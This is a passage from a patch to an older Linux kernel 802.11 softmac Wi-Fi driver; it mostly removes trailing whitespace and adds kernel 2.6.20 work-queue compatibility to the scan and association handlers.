*skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } @@ -231,35 +231,35 @@ u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - + rate_len = ieee80211_MFIE_rate_len(ieee); - + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); - if (ieee->ps == IEEE80211_PS_DISABLED) + if (ieee->ps == IEEE80211_PS_DISABLED) req->header.frame_ctl = IEEE80211_STYPE_PROBE_REQ;//changed!! - else + else req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ|IEEE80211_FCTL_PM);//tony ,for ps ctl bit - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - + ieee80211_MFIE_Brate(ieee,&tag); ieee80211_MFIE_Grate(ieee,&tag); return skb; @@ -269,18 +269,18 @@ void ieee80211_send_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - + + unsigned long flags; + skb = ieee80211_get_beacon_(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -299,7 +299,7 @@ void ieee80211_send_probe(struct ieee80211_device *ieee) { struct sk_buff *skb; - + skb = ieee80211_probe_req(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); @@ -316,29 +316,29 @@ } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -351,24 +351,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); // printk(KERN_INFO "current probe channel is %d!\n",ch); ieee80211_send_probe_requests(ieee); - + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -379,43 +379,50 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ +{ +#endif short watchdog = 0; down(&ieee->scan_sem); - - + + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee80211_send_probe_requests(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -428,7 +435,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -438,13 +445,13 @@ void ieee80211_beacons_start(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; ieee80211_send_beacon(ieee); - + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } @@ -476,25 +483,25 @@ if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start(ieee); } void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } @@ -510,62 +517,66 @@ /* called with ieee->lock held */ void ieee80211_start_scan(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) queue_work(ieee->wq, &ieee->softmac_scan_wq); +#else + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); +#endif } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) ieee80211_softmac_scan_syncro(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; if (ieee->ps != IEEE80211_PS_DISABLED) auth->header.frame_ctl |= IEEE80211_FCTL_PM;//tony 060624 - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) @@ -577,23 +588,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -601,72 +612,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -679,52 +690,52 @@ { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + return skb; } @@ -732,59 +743,59 @@ { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) { struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -793,7 +804,7 @@ void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) { struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -801,10 +812,10 @@ void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) { - + struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) + + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -812,72 +823,72 @@ inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; unsigned int rsn_len = beacon->rsn_ie_len; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + rsn_len + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; if (ieee->ps != IEEE80211_PS_DISABLED) hdr->header.frame_ctl |= IEEE80211_FCTL_PM; //tony hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); //tony 20060606 - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - + + tag = skb_put(skb, rate_len); + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + tag = skb_put(skb,wpa_len); - + if(wpa_len) { if(wpa_len > (22 + 2) ) { beacon->wpa_ie[wpa_len - 2] = 0; } - + } memcpy(tag,beacon->wpa_ie,wpa_len); - + tag = skb_put(skb,rsn_len); if(rsn_len) { @@ -890,12 +901,12 @@ void ieee80211_associate_abort(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -903,17 +914,17 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -927,50 +938,50 @@ { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) + + if (!skb) ieee80211_associate_abort(ieee); - else{ + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - + skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - + ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - + softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } @@ -978,28 +989,34 @@ { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; skb=ieee80211_association_req(beacon, ieee); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -1007,7 +1024,7 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); @@ -1017,52 +1034,58 @@ { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee80211_stop_scan(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; ieee80211_associate_step1(ieee); - + up(&ieee->wx_sem); } inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1073,23 +1096,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1098,18 +1121,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1119,7 +1142,7 @@ } ieee->state = IEEE80211_LINKED; } - + } } @@ -1127,26 +1150,26 @@ void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - + list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) ieee80211_softmac_new_net(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } @@ -1154,7 +1177,7 @@ { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1162,34 +1185,34 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } int auth_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } @@ -1199,21 +1222,21 @@ u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1222,41 +1245,41 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } int assoc_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } static inline u16 assoc_parse(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct 